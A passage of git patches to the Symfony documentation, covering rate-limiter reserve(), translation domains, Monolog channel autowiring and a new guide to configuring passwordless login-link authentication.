+                # use 'sliding_window' if you prefer that strategy
+                strategy: 'fixed_window'
                 limit: 100
                 interval: '60 minutes'
             authenticated_api:
-                strategy: token_bucket
+                strategy: 'token_bucket'
                 limit: 5000
                 rate: { interval: '15 minutes', amount: 500 }
 

From 8e1af9d7303d2c8e7fc7e84686df7c6f782f33fc Mon Sep 17 00:00:00 2001
From: Matthew Smeets <m.smeets@performation.com>
Date: Thu, 15 Oct 2020 20:16:16 +0200
Subject: [PATCH 1345/7107] Adding more information about default translation
 domain 'messages'

---
 translation.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index 9a9effd3527..db50e05cb07 100644
--- a/translation.rst
+++ b/translation.rst
@@ -655,9 +655,12 @@ priority message files.
 The filename of the translation files is also important: each message file
 must be named according to the following path: ``domain.locale.loader``:
 
-* **domain**: An optional way to organize messages into groups. Unless
+* **domain**: Domains are a way to organize messages into groups. Unless
   parts of the application are explicitly separated from each other, it is
-  recommended to only use default ``messages`` domain;
+  recommended to only use default ``messages`` domain.
+
+  If no domains are explicitly defined while using the translator, Symfony 
+  will default to the ``messages`` domain (e.g. ``messages.en.yaml``)
 
 * **locale**: The locale that the translations are for (e.g. ``en_GB``, ``en``, etc);
 

From feea39804413ee607973e2bed12f433929945744 Mon Sep 17 00:00:00 2001
From: Matthew Smeets <m.smeets@performation.com>
Date: Thu, 15 Oct 2020 20:30:28 +0200
Subject: [PATCH 1346/7107] Adding information to the monolog autowire
 documentation that specifies that the channel must be defined

---
 logging/channels_handlers.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index b206c1c5137..bac0be76012 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -182,8 +182,10 @@ How to Autowire Logger Channels
 
 Starting from `MonologBundle`_ 3.5 you can autowire different Monolog channels
 by type-hinting your service arguments with the following syntax:
-``Psr\Log\LoggerInterface $<channel>Logger``. For example, to inject the service
-related to the ``app`` logger channel use this:
+``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been 
+predefined in your Monolog configuration.
+
+An example to inject the service related to the ``app`` logger channel:
 
 .. code-block:: diff
 

From 72ff90333cec11a25275b09c591e95560b3c00a7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 17 Oct 2020 15:15:20 +0200
Subject: [PATCH 1347/7107] Document reserve() method and rename to RateLimiter

---
 rate_limiter.rst | 45 +++++++++++++++++++++++++++++++++++----------
 1 file changed, 35 insertions(+), 10 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index f0a16e9493e..3849a502858 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -124,12 +124,13 @@ the number of requests to the API::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
-    use Symfony\Component\RateLimiter\Limiter;
+    use Symfony\Component\RateLimiter\RateLimiter;
 
     class ApiController extends AbstractController
     {
         // the variable name must be: "rate limiter name" + "limiter" suffix
-        public function index(Limiter $anonymousApiLimiter)
+        // if you're using autowiring for your services
+        public function index(RateLimiter $anonymousApiLimiter)
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -158,28 +159,33 @@ the number of requests to the API::
     for the :ref:`kernel.request event <component-http-kernel-kernel-request>`
     and check the rate limiter once for all requests.
 
-In other scenarios you may want instead to wait as long as needed until a new
-token is available. In those cases, use the ``wait()`` method::
+Wait until a Token is Available
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Instead of dropping a request or process when the limit has been reached,
+you might want to wait until a new token is available. This can be achieved
+using the ``reserve()`` method::
 
     // src/Controller/ApiController.php
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\RateLimiter\Limiter;
+    use Symfony\Component\RateLimiter\RateLimiter;
 
     class ApiController extends AbstractController
     {
-        public function registerUser(Request $request, Limiter $authenticatedApiLimiter)
+        public function registerUser(Request $request, RateLimiter $authenticatedApiLimiter)
         {
             $apiKey = $request->headers->get('apikey');
             $limiter = $authenticatedApiLimiter->create($apiKey);
 
             // this blocks the application until the given number of tokens can be consumed
-            do {
-                $limit = $limiter->consume(1);
-                $limit->wait();
-            } while (!$limit->isAccepted());
+            $limiter->reserve(1)->wait();
+
+            // optional, pass a maximum wait time (in seconds), a MaxWaitDurationExceededException
+            // is thrown if the process has to wait longer. E.g. to wait at most 20 seconds:
+            //$limiter->reserve(1, 20)->wait();
 
             // ...
         }
@@ -187,6 +193,25 @@ token is available. In those cases, use the ``wait()`` method::
         // ...
     }
 
+The ``reserve()`` method is able to reserve a token in the future. Only use
+this method if you're planning to wait, otherwise you will block other
+processes by reserving unused tokens.
+
+.. note::
+
+    Not all strategies allow reservering tokens in the future. These
+    strategies may throw an ``ReserveNotSupportedException`` when calling
+    ``reserve()``.
+
+    In these cases, you can use ``consume()`` together with ``wait()``, but
+    there is no guarantee that a token is available after the wait::
+
+        // ...
+        do {
+            $limit = $limiter->consume(1);
+            $limit->wait();
+        } while (!$limit->isAccepted());
+
 Rate Limiter Storage and Locking
 --------------------------------
 

From 8ed09166a92302078a684c4c6d9e2d0dd06e3ef7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 11 Oct 2020 13:47:27 +0200
Subject: [PATCH 1348/7107] Added login link documentation

---
 _images/security/login_link_email.png    | Bin 0 -> 4301 bytes
 security/experimental_authenticators.rst |   2 +
 security/login_link.rst                  | 652 +++++++++++++++++++++++
 3 files changed, 654 insertions(+)
 create mode 100644 _images/security/login_link_email.png
 create mode 100644 security/login_link.rst

diff --git a/_images/security/login_link_email.png b/_images/security/login_link_email.png
new file mode 100644
index 0000000000000000000000000000000000000000..8331b878f68376279fc5f672eb3e3826761b5202
GIT binary patch
literal 4301
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
aJ;<Tvw<D!Zd%#}{z<aR?F}$50fATMpOKbB0

literal 0
HcmV?d00001

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 83b3199d9ef..95506980093 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -11,6 +11,8 @@ In Symfony 5.1, a new authentication system was introduced. This system
 changes the internals of Symfony Security, to make it more extensible
 and more understandable.
 
+.. _security-enable-authenticator-manager:
+
 Enabling the System
 -------------------
 
diff --git a/security/login_link.rst b/security/login_link.rst
new file mode 100644
index 00000000000..929091184de
--- /dev/null
+++ b/security/login_link.rst
@@ -0,0 +1,652 @@
+.. index::
+   single: Security; Login link
+   single: Security; Magic link login
+
+How to use Passwordless Login Link Authentication
+=================================================
+
+Login links, also called "magic links", allow users to log in without
+passwords. Whenever a user wants to login, a login link is generated and
+sent to the user (e.g. using an email). The user is logged in as soon as
+they visit that link.
+
+Login links are supported by Symfony when using the experimental
+authenticator system. You must
+:ref:`enable the authenticator system <security-enable-authenticator-manager>`
+in your configuration to use this feature.
+
+Using the Login Link Authenticator
+----------------------------------
+
+This guide assumes you have setup security and have created a user object
+in your application. Follow :doc:`the main security guide </security>` if
+this is not yet the case.
+
+1) Configure the Login Link Authenticator
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The login link authenticator is configured using the ``login_link`` option
+under the firewall. You must configure a ``check_route`` and
+``signature_properties`` when enabling this authenticator:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    login_link:
+                        check_route: login_check
+                        signature_properties: ['id']
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <login-link check-route="login_check"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    'login_link' => [
+                        'check_route' => 'login_check',
+                    ],
+                ],
+            ],
+        ]);
+
+The ``signature_properties`` are used to create a signed URL. This must
+contain at least one property of your ``User`` object that uniquely
+identifies this user (e.g. the user ID). Read more about this setting
+:ref:`further down below <security-login-link-signature>`.
+
+The ``check_route`` must be an existing route and it will be used to
+generate the login link that will authenticate the user. You don't need a
+controller (or it can be empty) because the login link authenticator will
+intercept requests to this route:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            /**
+             * @Route("/login_check", name="login_check")
+             */
+            public function check()
+            {
+                throw new \LogicException('This code should never be reached');
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+
+        # ...
+        login_check:
+            path: /login_check
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <!-- ... -->
+            <route id="login_check" path="/login_check"/>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes.php
+        use App\Controller\DefaultController;
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes) {
+            // ...
+            $routes->add('login_check', '/login_check');
+        };
+
+2) Generate the Login Link
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Now that the authenticator is able to check the login links, you must
+create a page where a user can request a login link and log in to your
+website.
+
+The login link can be generated using the
+:class:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface`.
+The correct login link handler is autowired for you when type-hinting for
+this interface::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller;
+
+    use App\Repository\UserRepository;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface;
+
+    class SecurityController extends AbstractController
+    {
+        /**
+         * @Route("/login", name="login")
+         */
+        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
+        {
+            // check if login form is submitted
+            if ($request->isMethod('POST')) {
+                // load the user in some way (e.g. using the form input)
+                $email = $request->request->get('email');
+                $user = $userRepository->findOneBy(['email' => $email]);
+
+                // create a login link for $user this returns an instance
+                // of LoginLinkDetails
+                $loginLinkDetails = $loginLinkHandler->createLoginLink($user);
+                $loginLink = $loginLinkDetails->getUrl();
+
+                // ... send the link and return a response (see next section)
+            }
+
+            // if it's not submitted, render the "login" form
+            return $this->render('security/login.html.twig');
+        }
+
+        // ...
+    }
+
+.. code-block:: html+twig
+
+    {# templates/security/login.html.twig #}
+    {% extends 'base.html.twig' %}
+
+    {% block body %}
+    <form action="{{ path('login') }}" method="POST">
+        <input type="email" name="email">
+        <button type="submit">Send Login Link</button>
+    </form>
+    {% endblock %}
+
+In this controller, the user is submitting their e-mail address to the
+controller. Based on this property, the correct user is loaded and a login
+link is created using
+:method:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface::createLoginLink`.
+
+.. caution::
+
+    It is important to send this link to the user and **not show it directly**,
+    as that would allow anyone to login. For instance, use the
+    :doc:`mailer </mailer>` component to mail the login link to the user.
+    Or use the  component to send an SMS to the
+    user's device.
+
+3) Send the Login Link to the User
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Now the link is created, it needs to be send to the user. Anyone with the
+link is able to login as this user, so you need to make sure to send it to
+a known device of them (e.g. using e-mail or SMS).
+
+You can send the link using any library or method. However the login link
+authenticator provides integration with the :doc:`Notifier component </notifier>`.
+Use the special :class:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkNotification`
+to create a notification and send it to the user's email address or phone
+number::
+
+    // src/Controller/SecurityController.php
+
+    // ...
+    use Symfony\Component\Notifier\NotifierInterface;
+    use Symfony\Component\Notifier\Recipient\Recipient;
+    use Symfony\Component\Security\Http\LoginLink\LoginLinkNotification;
+
+    class SecurityController extends AbstractController
+    {
+        /**
+         * @Route("/login", name="login")
+         */
+        public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
+        {
+            if ($request->isMethod('POST')) {
+                $email = $request->request->get('email');
+                $user = $userRepository->findOneBy(['email' => $email]);
+
+                $loginLinkDetails = $loginLinkHandler->createLoginLink($user);
+
+                // create a notification based on the login link details
+                $notification = new LoginLinkNotification(
+                    $loginLinkDetails,
+                    'Welcome to MY WEBSITE!' // email subject
+                );
+                // create a recipient for this user
+                $recipient = (new Recipient())->email($user->getEmail());
+
+                // send the notification to the user
+                $notifier->send($notification, $recipient);
+
+                // render a "Login link is sent!" page
+                return $this->render('security/login_link_sent.html.twig');
+            }
+
+            return $this->render('security/login.html.twig');
+        }
+
+        // ...
+    }
+
+.. note::
+
+    This integration requires the :doc:`Notifier </notifier>` and
+    :doc:`Mailer </mailer>` components to be installed and configured.
+    Install all required packages using:
+
+    .. code-block:: terminal
+
+        $ composer require symfony/mailer symfony/notifier \
+            symfony/twig-bundle twig/extra-bundle \
+            twig/cssinliner-extra twig/inky-extra
+
+This will send an email like this to the user:
+
+.. image:: /_images/security/login_link_email.png
+   :align: center
+
+.. tip::
+
+    You can customize this e-mail template by extending the
+    ``LoginLinkNotification`` and configuring another ``htmlTemplate``::
+
+        // src/Notifier/CustomLoginLinkNotification
+        namespace App\Notifier;
+
+        use Symfony\Component\Security\Http\LoginLink\LoginLinkNotification;
+
+        class CustomLoginLinkNotification extends LoginLinkNotification
+        {
+            public function asEmailMessage(EmailRecipientInterface $recipient, string $transport = null): ?EmailMessage
+            {
+                $emailMessage = parent::asEmailMessage($recipient, $transport);
+
+                // get the NotificationEmail object and override the template
+                $email = $emailMessage->getMessage();
+                $email->htmlTemplate('emails/custom_login_link_email.html.twig');
+
+                return $emailMessage;
+            }
+        }
+
+    Then, use this new ``CustomLoginLinkNotification`` in the controller
+    instead.
+
+Important Considerations
+------------------------
+
+Login links are a convenient way of authenticating users, but it is also
+considered less secure than a traditional username and password form. It is
+not recommended to use login links in security critical applications.
+
+However, the implementation in Symfony does have a couple extension points
+to make the login links more secure. In this section, the most important
+configuration decisions are discussed:
+
+* `Limit Login Link Lifetime`_
+* `Invalidate Login Links`_
+* `Only allow a Link to be used Once`_
+
+Limit Login Link Lifetime
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It is important for login links to have a limited lifetime. This reduces
+the risk that someone can intercept the link and use it to login as
+somebody else. By default, Symfony defines a lifetime of 10 minutes (600
+seconds). You can customize this using the ``lifetime`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    login_link:
+                        check_route: login_check
+                        # lifetime in seconds
+                        lifetime: 300
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <!-- lifetime: lifetime in seconds -->
+                    <login-link check-route="login_check"
+                        lifetime="300"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    'login_link' => [
+                        'check_route' => 'login_check',
+                        // lifetime in seconds
+                        'lifetime' => 300,
+                    ],
+                ],
+            ],
+        ]);
+
+.. _security-login-link-signature:
+
+Invalidate Login Links
+~~~~~~~~~~~~~~~~~~~~~~
+
+Symfony uses signed URLs to implement login links. The advantage of this is
+that valid links do not have to be stored in a database. The signed URLs
+allow Symfony to still invalidate already sent login links when important
+information changes (e.g. a user's email address).
+
+The signed URL contains 3 parameters:
+
+``expires``
+    The UNIX timestamp when the link expires.
+
+``user``
+    The value returned from ``$user->getUsername()`` for this user.
+
+``hash``
+    A hash of ``expires``, ``user`` and any configured signature
+    properties. Whenever these change, the hash changes and previous login
+    links are invalidated.
+
+You can add more properties to the ``hash`` by using the
+``signature_properties`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    login_link:
+                        check_route: login_check
+                        signature_properties: [id, email]
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <login-link check-route="login_check">
+                        <signature-property>id</signature-property>
+                        <signature-property>email</signature-property>
+                    </login-link>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    'login_link' => [
+                        'check_route' => 'login_check',
+                        'signature_properties' => ['id', 'email'],
+                    ],
+                ],
+            ],
+        ]);
+
+The properties are fetched from the user object using the
+:doc:`PropertyAccess component </components/property_access>` (e.g. using
+``getEmail()`` or a public ``$email`` property in this example).
+
+.. tip::
+
+    You can also use the signature properties to add very advanced
+    invalidating logic to your login links. For instance, if you store a
+    ``$lastLinkRequestedAt`` property on your users that you update in the
+    ``requestLoginLink()`` controller, you can invalidate all login links
+    whenever a user requests a new link.
+
+Configure a Maximum Use of a Link
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It is a common characteristic of login links to limit the number of times
+it can be used. Symfony can support this by storing used login links in the
+cache. Enable this support by setting the ``max_uses`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    login_link:
+                        check_route: login_check
+                        # only allow the link to be used 3 times
+                        max_uses: 3
+
+                        # optionally, configure the cache pool
+                        #used_link_cache: 'cache.redis'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <!-- max-uses: only allow the link to be used 3 times
+                         used-link-cache: optionally, configure the cache pool -->
+                    <login-link check-route="login_check"
+                        max-uses="3"
+                        used-link-cache="cache.redis"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    'login_link' => [
+                        'check_route' => 'login_check',
+                        // only allow the link to be used 3 times
+                        'max_uses' => 3,
+
+                        // optionally, configure the cache pool
+                        //'used_link_cache' => 'cache.redis',
+                    ],
+                ],
+            ],
+        ]);
+
+Make sure there is enough space left in the cache, otherwise invalid links
+can no longer be stored (and thus become valid again). Expired invalid
+links are automatically removed from the cache.
+
+The cache pools are not cleared by the ``cache:clear`` command, but
+removing ``var/cache/`` manually may remove the cache if the cache
+component is configured to store its cache in that location. Read the
+:doc:`/cache` guide for more information.
+
+Allow a Link to only be Used Once
+.................................
+
+When setting ``max_uses`` to ``1``, you must take extra precautions to
+make it work as expected. Email providers and browsers often load a
+preview of the links, meaning that the link is already invalidated by
+the preview loader.
+
+In order to solve this issue, first set the ``check_post_only`` option let
+the authenticator only handle HTTP POST methods:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    login_link:
+                        check_route: login_check
+                        check_post_only: true
+                        max_uses: 1
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
